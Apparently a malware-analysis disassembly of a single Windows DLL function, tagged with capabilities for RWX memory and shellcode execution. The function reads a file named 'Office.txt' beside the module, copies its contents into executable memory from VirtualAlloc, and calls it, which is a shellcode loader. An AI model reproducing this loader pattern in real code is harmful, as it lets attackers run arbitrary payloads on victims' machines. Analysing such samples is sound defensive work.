Function at 0x10002a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002818b
mov eax, dword fs:[0]
push eax
sub esp, 0x4ec
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchRemoveFileSpec]
push str.Office.txt
lea eax, [ebp - 0x218]
push eax
push 0x104
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchCombine]
push 0xb8
lea eax, [ebp - 0x4f0]
push 0
push eax
call fcn.1000c580
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x4f0]
call fcn.10003de0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x494], 0
je 0x10002cc1
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x4f0]
call fcn.10004290
mov edi, dword [eax + 8]
add edi, dword [eax]
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
sub esp, 0xc
mov dword [ebp - 0x4f4], ecx
lea ecx, [ebp - 0x4f0]
call fcn.10004390
xor esi, esi
mov dword [ebp - 0x424], 0
xorps xmm0, xmm0
xor ebx, ebx
movq qword [ebp - 0x42c], xmm0
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x424], ebx
test edi, edi
je 0x10002bd2
cmp edi, 0x7fffffff
ja 0x10002d56
cmp edi, 0x1000
jb 0x10002ba6
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x10002d5b
push eax
call fcn.10008bb7
add esp, 4
test eax, eax
je 0x10002d60
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x10002bb1
push edi
call fcn.10008bb7
add esp, 4
mov esi, eax
push edi
push 0
lea ebx, [esi + edi]
mov dword [ebp - 0x42c], esi
push esi
mov dword [ebp - 0x424], ebx
call fcn.1000c580
add esp, 0xc
mov dword [ebp - 0x428], ebx
push dword [ebp - 0x4f4]
lea ecx, [ebp - 0x4f0]
mov byte [ebp - 4], 1
push edi
push esi
call fcn.100044d0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10002c57
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x4f4], eax
test eax, eax
je 0x10002c32
push edi
push esi
push eax
call fcn.1000c6e0
mov edi, dword [ebp - 0x4f4]
add esp, 0xc
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10002c57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, 0x10030e1c
call fcn.10007070
add esp, 4
mov ecx, eax
call fcn.10004620
push eax
call fcn.10007330
add esp, 4
lea ecx, [ebp - 0x4e0]
call fcn.10005b30
test eax, eax
jne 0x10002c8f
mov eax, dword [ebp - 0x4f0]
lea ecx, [ebp - 0x4f0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10002670
mov byte [ebp - 4], 0
test esi, esi
je 0x10002cc1
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x10002cb7
mov esi, dword [eax - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d60
push ebx
push esi
call fcn.10008be7
add esp, 8
mov eax, dword [ebp - 0x4f0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4f0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x4f4], eax
lea ecx, [ebp - 0x4e0]
call fcn.10003a70
mov eax, dword [ebp - 0x4f0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4f0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x4f4], eax
lea eax, [ebp - 0x480]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1000b3ef
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10008ba4
mov esp, ebp
pop ebp
ret
call fcn.10008b60
call fcn.100012f0
call fcn.10012e70
int3